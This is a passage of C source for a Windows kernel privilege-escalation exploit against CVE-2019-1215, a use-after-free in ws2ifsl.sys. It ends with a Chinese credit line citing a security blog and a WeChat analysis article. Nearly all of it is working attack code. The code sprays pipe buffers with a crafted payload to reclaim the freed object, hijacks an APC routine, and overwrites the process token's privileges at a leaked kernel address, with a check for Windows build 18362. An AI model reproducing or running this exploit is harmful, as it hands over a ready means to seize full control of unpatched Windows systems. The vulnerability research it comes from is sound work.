int DoHeapSpray(DWORD64 writeAddress, DWORD64 kthreadAddress)
{
DWORD64 nopPointer = GetGadgetAddr("xHalTimerWatchdogStop");
if (!nopPointer)
{
printf("[-] SeSetAccessStateGenericMapping not foundn");
return 0;
}
DWORD64 funPointer = GetGadgetAddr("SeSetAccessStateGenericMapping");
if (!funPointer)
{
printf("[-] SeSetAccessStateGenericMapping not foundn");
return 0;
}
UCHAR payload[0x120 - 0x48];
memset(payload, 0x0, sizeof(payload));
DWORD64 x = 0x41414141414141;
memcpy(payload, &x, 8);
x = 0x12121212;
memcpy(payload + 8, &x, 8);
x = kthreadAddress + OFFSET_LINKEDLIST; // apc linked list
memcpy(payload + 0x10, &x, 8);
x = kthreadAddress + OFFSET_LINKEDLIST;
memcpy(payload + 0x18, &x, 8);
x = funPointer;
memcpy(payload + 0x20, &x, 8); // this is the RIP we want to execute, in case of NtTestAlert
x = nopPointer;
memcpy(payload + 0x28, &x, 8); // this is the RIP we want to execute, in case of rundown routine
x = 0xffffffffffffffff; // this is to be written
memcpy(payload + 0x30, &x, 8);
x = 0xffffffffffffffff; // this is to be written, but it gets changed..
memcpy(payload + 0x38, &x, 8);
x = 0x2424242424242424;
memcpy(payload + 0x40, &x, 8);
x = writeAddress; // this is where to write
memcpy(payload + 0x48, &x, 8);
for (size_t i = 0; i < 0x70; i++)
{
HANDLE readPipe;
HANDLE writePipe;
DWORD resultLength = 0;
BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));
if (!res)
{
printf("[-] error creating pipen");
return 0;
}
res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);
}
return 1;
}
/*
This function will trigger the use after free in ws2ifsl.sys and
will try to reallocate the buffer with controlled content.
*/
void TriggerBug(HANDLE threadHandle, DWORD64 writeAddress, DWORD64 kthreadAddress, int id)
{
HANDLE procHandle = CreateProcessHandle(threadHandle);
printf("[!] procHandle %xn", (DWORD)procHandle);
HANDLE sockHandle = CreateSocketHandle(procHandle);
printf("[!] sockHandle %xn", (DWORD)sockHandle);
char* readBuffer = (char*)malloc(0x100);
DWORD bytesRead = 0;
IO_STATUS_BLOCK io;
LARGE_INTEGER byteOffset;
byteOffset.HighPart = 0;
byteOffset.LowPart = 0;
byteOffset.QuadPart = 0;
byteOffset.u.LowPart = 0;
byteOffset.u.HighPart = 0;
ULONG key = 0;
CloseHandle(procHandle);
NTSTATUS ret = g_NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key);
// this close the objecte and we trigger the use after free
CloseHandle(sockHandle);
// this spray will reclaim the buffer
if (!DoHeapSpray(writeAddress, kthreadAddress))
{
printf("[-] error doHeapSprayn");
return;
}
if (id == 1)
{
g_done1 = 1;
}
if (id == 2)
{
g_done2 = 1;
}
printf("[+] donen");
Sleep(0x20);
free(readBuffer);
return;
}
/*
This function resolves all function pointer for native api calls.
*/
bool InitFunctionPointers()
{
HMODULE hNtDll = NULL;
hNtDll = LoadLibrary("ntdll.dll");
if (!hNtDll)
{
printf("errorn");
return false;
}
g_NtTestAlert = (NtTestAlert_t)GetProcAddress(hNtDll, "NtTestAlert");
if (!g_NtTestAlert)
{
printf("errorn");
return false;
}
g_NtWriteFile = (NtWriteFile_t)GetProcAddress(hNtDll, "NtWriteFile");
if (!g_NtWriteFile)
{
printf("[-] GetProcAddress() NtWriteFile failed.n");
return false;
}
g_RtlGetVersion = (RtlGetVersion_t)GetProcAddress(hNtDll, "RtlGetVersion");
if (!g_NtWriteFile)
{
printf("[-] GetProcAddress() RtlGetVersion failed.n");
return false;
}
return true;
}
int main()
{
// intialize event for thread synchronization
g_Event1 = CreateEvent(0, 0, 0, 0);
g_Event2 = CreateEvent(0, 0, 0, 0);
g_Event3 = CreateEvent(0, 0, 0, 0);
if (g_Event1 == INVALID_HANDLE_VALUE || !g_Event1)
{
printf("[-] CreateEvent failedn");
return 0;
}
if (g_Event2 == INVALID_HANDLE_VALUE || !g_Event2)
{
printf("[-] CreateEvent failedn");
return 0;
}
if (g_Event3 == INVALID_HANDLE_VALUE || !g_Event2)
{
printf("[-] CreateEvent failedn");
return 0;
}
if (!InitFunctionPointers())
{
printf("[-] InitFunctionPointers failedn");
return 0;
}
HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
if (!proc)
{
printf("[-] OpenProcess failedn");
return 0;
}
HANDLE token = 0;
if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token))
{
printf("[-] OpenProcessToken failedn");
return 0;
}
DWORD64 ktoken = GetKernelPointer(token, 0x5);
DWORD64 where = ktoken + TOKEN_OFFSET;
printf("[+] found token at: %pn", (DWORD64) ktoken);
// check the supported version of this exploit, otherwise we would crash
RTL_OSVERSIONINFOW osversion;
g_RtlGetVersion(&osversion);
if (osversion.dwMajorVersion == 10 && osversion.dwBuildNumber == 18362)
{
printf("[+] version supportedn");
}
else
{
printf("[-] sorry version not supportedn");
return 0;
}
HANDLE hAPCThread1 = CreateThread(0, 0, APCThread1, 0, 0, 0);
if (hAPCThread1 == INVALID_HANDLE_VALUE || !hAPCThread1)
{
printf("[-] error CreateThreadn");
return 0;
}
HANDLE hAPCThread2 = CreateThread(0, 0, APCThread2, 0, 0, 0);
if (hAPCThread2 == INVALID_HANDLE_VALUE || !hAPCThread2)
{
printf("[-] error CreateThreadn");
return 0;
}
DWORD64 threadAddrAPC1 = GetKernelPointer(hAPCThread1, 0x8);
if (!threadAddrAPC1)
{
printf("[-] GetKernelPointer error n");
return 0;
}
DWORD64 threadAddrAPC2 = GetKernelPointer(hAPCThread2, 0x8);
if (!threadAddrAPC2)
{
printf("[-] GetKernelPointer error n");
return 0;
}
// wait for threads to be initialized
WaitForSingleObject(g_Event1, -1);
WaitForSingleObject(g_Event2, -1);
TriggerBug(hAPCThread1, where-8, threadAddrAPC1, 1);
TriggerBug(hAPCThread2, where, threadAddrAPC2, 2);
WaitForSingleObject(g_Event3, -1);
ExitProcess(0);
return 0;
}
参考及来源:https://labs.bluefrostsecurity.de/blog/2020/01/07/cve-2019-1215-analysis-of-a-use-after-free-in-ws2ifsl/
本文始发于微信公众号(嘶吼专业版):CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论